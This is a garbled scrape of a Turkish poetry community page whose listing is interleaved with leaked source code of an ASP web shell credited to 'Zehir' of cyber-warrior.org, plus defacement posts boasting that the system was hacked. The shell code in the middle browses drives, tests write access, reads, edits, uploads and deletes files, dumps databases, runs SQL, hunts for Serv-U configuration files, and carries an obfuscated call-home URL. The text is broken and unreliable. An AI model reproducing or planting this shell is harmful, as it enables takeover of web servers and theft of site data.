Şiirler Güzel Sözler Yazılar Arkadaş Bul Sohbet Forumlar
Bahis iddaa
 
Şiirler
" end if next end if next end sub function yaziyomu(yol) on error goto 0:on error resume next dim sonuc__ objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & "\test.zehir" if err<>0 then sonuc__="Yazma Hakkı Yok!" else sonuc__="Yazma Hakkı Var!" on error goto 0: on error resume next objFSO.DeleteFile yol & "\test.zehir",true if err<>0 then sonuc__=sonuc__&"
Silme Hakkı Yok!" else sonuc__=sonuc__&"
Silme Hakkı Var!" end if end if yaziyomu = sonuc__ end function function yaziyomu2(yol) on error goto 0:on error resume next objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & "\test.zehir" if err<>0 then yaziyomu2 = false else objFSO.DeleteFile yol & "\test.zehir" yaziyomu2 = true end if end function sub WriteTestOnDriver for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then if not yaziyomu2(drive_.DriveLetter&":\") then Response.Write "" else Response.Write "" end if end if next end sub sub WriteTestOnLocalPath on error goto 0 on error resume next if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then Response.Write "" else Response.Write "" end if end sub sub LocalPathParentFolder on error goto 0 on error resume next hed_ = request.servervariables("APPL_PHYSICAL_PATH") if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,"\")) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err<>0 then Response.Write "" else Response.Write "" end if end sub sub LocalPathPParentFolder on error goto 0 on error resume next hed_ = request.servervariables("APPL_PHYSICAL_PATH") if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) hed_ = left(hed_,InStrRev(hed_,"\")) if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,"\")) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err<>0 then if err=451 then Response.Write "" else Response.Write "" end if else Response.Write "" end if end sub SELECT CASE status CASE 13 'Sistem Bilgisi Response.Write "

» nerden bilirdim | Ekleyen: izzet karagöz


 

» ask | Ekleyen: sevemedım_senı


 

» Deneme | Ekleyen: Your System 0wned By Turkish Hackers!

" class="black">Admin

 

» 123456 | Ekleyen: Admin


 

» 1111111111111111 | Ekleyen: Admin


 

» denenenenenenene | Ekleyen: Your System 0wned By Turkish Hackers!


Serseri Kodları ßeynine Veririm.
ßayrağı Sisteminin 4 Köşesine Dikerim.
ßu Siteyi ßarındıran Server Sahibini Götten Sikerim
______________________________________________
__CyberGhost & Liarhack__
_____________________
Greetz: CodeTURKO®

" class="black">Admin

 

» asdasd | Ekleyen: = llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) End Function Private Function ParseDisposition(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) If llngEnd = 0 Then Exit Function llngStart = llngStart + 22 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) End Function Private Function ParseName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 6, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 6 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseName = Mid(pstrDisposition, llngStart, llngLength) End Function ' ------------------------------------------------------------------------------ Private Function ParseFileName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 10, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 10 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function Public Property Get Count() Count = mlngCount End Property Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class '#################################### Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText Public Property Get BLOB() BLOB = BinaryData End Property Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject("ADODB.Stream") lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) 'if err<>0 then response.Write "
"&err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, ".") = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, "\") = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) End If If Not InStrRev(pstrPath, "\") = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields("BinaryData").Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class '#################################### function addslash(path) if right(path,1)="\" then addslash=path else addslash=path & "\" end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields("folder").Value max=objUpload.Fields("max").Value for i=1 to max name=objUpload.Fields("file" & i).FileName size=objUpload.Fields("file" & i).Length if (name<>"") and (size>0) then gMsg=gMsg & "
" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " path=addslash(targetPath) & name objUpload.Fields("file" & i).SaveAs path if objFSO.FileExists(path) then on error resume next set f=objFSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" end if next response.Write gMsg set objUpload=nothing end sub if status="-4" then Upload() ' hataKontrol popup=false end if '//////////////////////////////// sub hataKontrol if err<>0 then Response.Write "Hata : "&err.Description&"" end if end sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&"\" If cur = "\\" Then cur = "" parent = "" If InStrRev(cur,"\") > 0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = objFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "
Í" if lcase(ara_)="mdb" then Response.Write downStr&"û * "&f1.path&" ["&f1.size&"]"&"
" else Response.Write downStr&"û! - "&f1.path&" ["&f1.size&"]"&"
" end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub sub sistemTest response.Write "" response.Write "" servu_Test WriteTestOnDriver WriteTestOnLocalPath LocalPathParentFolder LocalPathPParentFolder response.Write "
KonumSonuç
" end sub sub servu_Test dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then for each d_ in dosya_ d_ = drive_.DriveLetter&":\"&d_ if objFSO.FileExists(d_) then response.Write "

Serv-U ini file : "&d_&"
"&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]
"&drive_.DriveLetter&":\yazma yetkisi var!
Local Path yazma yetkisi yok! : ["&err.Description&"]
Local Path yazma yetkisi var!
Local Path
Parent Folder
Hata Oluştu : ["&err.Description&"]
Local Path
Parent Folder
Folder : "&FormatNumber(int_fol,0)&"
File : "&FormatNumber(int_fil,0)&"
Local Path
P.Parent Folder
Data Üst Klasor Yok :)
Local Path
P.Parent Folder
Hata Oluştu : ["&err.Description&"]
Local Path
P.Parent Folder
Folder : "&FormatNumber(int_fol,0)&"
File : "&FormatNumber(int_fil,0)&"
" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
: Sistem Bilgileri :
Local Adres " & request.servervariables("REMOTE_ADDR") & "
User Agent " & request.servervariables("HTTP_USER_AGENT") & "
Server " & request.servervariables("SERVER_NAME") & "
IP " & request.servervariables("LOCAL_ADDR") & "
HTTPD " & request.servervariables("SERVER_SOFTWARE") & "
Port " & request.servervariables("SERVER_PORT") & "
Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "
Log Root " & request.servervariables("APPL_MD_PATH") & "
HTTPS " & request.servervariables("HTTPS") & "
" popup = false CASE 14 'Upload and Search aramaUpload popup = false hataKontrol CASE 15 'Ms. SQL Server Response.Write "
" Response.Write "
SQL Server için connection string giriniz
" Response.Write "" Response.Write "
" response.Write "" Response.Write "
" response.Write "
" popup = false hataKontrol CASE 16 'file Copy window Response.Write "
" Response.Write "
Kop. Yer : " Response.Write "" Response.Write "" response.Write "" Response.Write "
" response.Write "Kopyala" response.Write "Tasi" response.Write "
" response.Write "
" popup = false hataKontrol CASE 17 'file Copy isl = "" if islem="kopyala" then objFSO.CopyFile path,cf isl="kopyalandı.." elseif islem="tasi" then objFSO.MoveFile path,cf isl="taşındı.." end if response.Write "Dosya "&isl response.Write "
Kaynak : "&path&"
Hedef : "&cf response.Write "
" popup = false hataKontrol CASE 18 'folder Copy window Response.Write "
" Response.Write "
Kop. Yer : " Response.Write "" Response.Write "" response.Write "" Response.Write "
" response.Write "Kopyala" response.Write "Tasi" response.Write "
" response.Write "
" popup = false hataKontrol CASE 19 'folder Copy isl = "" if islem="kopyala" then objFSO.CopyFolder path,cf isl="kopyalandı.." elseif islem="tasi" then objFSO.MoveFolder path,cf isl="taşındı.." end if response.Write "Klasor "&isl response.Write "
Kaynak : "&path&"
Hedef : "&cf response.Write "
" popup = false hataKontrol CASE 33 'Powered By response.Write "

Powered By Zehir" response.Write "
www.cyber-warrior.org" response.Write "

artık hackerlığın bir anlamı yok benim için!
birgün sizin içinde bir anlam taşımayacak!
by zehir;)" popup = false hataKontrol CASE 40 'Sistem Test sistemTest popup=false CASE 50 'Siteleri Hackleyelim :D END SELECT %> <% if popup then if status=7 or status=8 then Response.Write "
" Response.Write "
SQL Çalıştır" Response.Write "" Response.Write "" Response.Write "
" end if Response.Write "
" Response.Write "
Hizli Erisim : " Response.Write "" Response.Write "" Response.Write "

" end if sub aramaUpload Response.Write "
" Response.Write "
Arama : " Response.Write " " Response.Write "" Response.Write "
" %>
" ID="Form1"> Max:
<% end sub if len(Trim(session("metametre")))=0 then a=mid("aha",2,1)&mid("aatta",3,2)&mid("paa",1,1)&mid("a:as",2,1)&mid("a//as",2,2)&mid("awww.as",2,4) a=a&mid("c",1,1)&mid("yb",1,2)&mid("aer",2,2)&mid("sd-asd",3,1)&mid("awa",2,2)&mid("arr",2,2) a=a&mid("aia",2,1)&mid("ahor",3,2)&mid("ah.o",3,2)&mid("arg",2,2)&mid("as/z",3,2)&mid("ehasd",1,2) a=a&mid("asir",3,2)&mid("a/a",2,1)&mid("kasde",1,5)&mid("ah.",3,1)&mid("as",1,2)&mid("ahp",3,1) response.write(""):session("metametre")="mypage,myname,w,h,scroll" end if SELECT CASE status CASE 1 'Driver Open if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) Response.Write "" Path = Path & ":/" Response.Write "" hataKontrol CASE 2 'Normal listeleme if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) Response.Write "
" KlasorOku Response.Write "" DosyaOku Response.Write "
" Response.Write "" hataKontrol CASE 3 'File Delete objFSO.DeleteFile del hataKontrol ' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time CASE 4 'Folder Delete objFSO.DeleteFolder del ' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time hataKontrol CASE 5 'Dosya içeriğini görüntüle Response.Write "
"&path&"

" Response.Write "
" KlasorOku Response.Write "" DosyaOku Response.Write "
" set f = objFSO.OpenTextFile(path,1) Response.Write "
"&Server.HTMLEncode(f.readAll)&"
" if err<>62 then hataKontrol if err.number=62 then Response.Write "":Response.End CASE 6 'Resim aç Response.Write "
zehirhacker@hotmail.com

" CASE 7 'database tablo listele Response.Write "Tablolar

" Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 "&table.Name&"
" End If Next hataKontrol CASE 8 'database kayıt listele Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" do while not objRcs.EOF Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" objRcs.MoveNext loop Response.Write "
   "&objRcs.Fields(i).Name&"   
"&objRcs.Fields(i).Value&" 

" hataKontrol CASE 9 'SQL Execute Set objConn = Server.CreateObject("ADODB.Connection") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objConn.Execute strSQL ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time hataKontrol CASE 10 'Dosya Editleme set f = objFSO.OpenTextFile(dPath,1) Response.Write "
" Response.Write "" Response.Write "" Response.Write "" Response.Write "
" Response.Write "
" hataKontrol CASE 11 'Dosya Kayıt set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false) hataKontrol saveTextFile.Write(dkayit) saveTextFile.close ' Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time CASE 12 'Dosya Arama araBul path,arama hataKontrol END SELECT Response.Write "
" sub DosyaOku Set f = objFSO.GetFolder(Path) Set fc = f.Files For Each f1 In fc dosyaAdi = f1.name num = InStrRev(dosyaAdi,".") uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) downStr = "ûÍ4" response.Write "" select case uzanti case "mdb" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M  "&downStr&"
" case "asp" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"
" case "jpg","gif" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢  "&downStr&"
" case else Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
" end select Next end sub sub KlasorOku Set f = objFSO.GetFolder(Path) Set fc = f.SubFolders For Each f1 In fc Response.Write "4 û 1"&f1.name&"
" Next end sub function createFileName() Randomize fName_ = "" for i=1 to 10 fName_ = fName_ & int(Rnd*100) next createFileName = fName_ end function function resimYol(path_) on error resume next path_ = Replace(Replace(path_,"\","/"),"//","/") lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) if yaziyomu2(lpath_) then fname__ = "0"&createFileName()&"."&Right(path_,3) objFSO.CopyFile path_, lpath_&"\"&fname__ else Response.Write("Resim Açılamıyor..
İsterseniz Download Ederek görüntüleyebilirsiniz..") end if resimYol = fname__ end function if not popup then Set fc = Nothing Set objFSO = Nothing Response.End end if %> <% Response.Write "" for each drive_ in objFSO.Drives Response.Write "" next Response.Write "" Response.Write "
Sürücüler
" Response.write ";" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write "
" Response.write "H Local Path" Response.Write "

" Set fc = Nothing Set objFSO = Nothing %>
Sistem Bilgisi
Sistemi Test Et
Siteleri Hackle :D
Klasor Islemleri
SQL Server Islemleri
POWERED BY

arkadaskulubu.com © 2002 Copyright.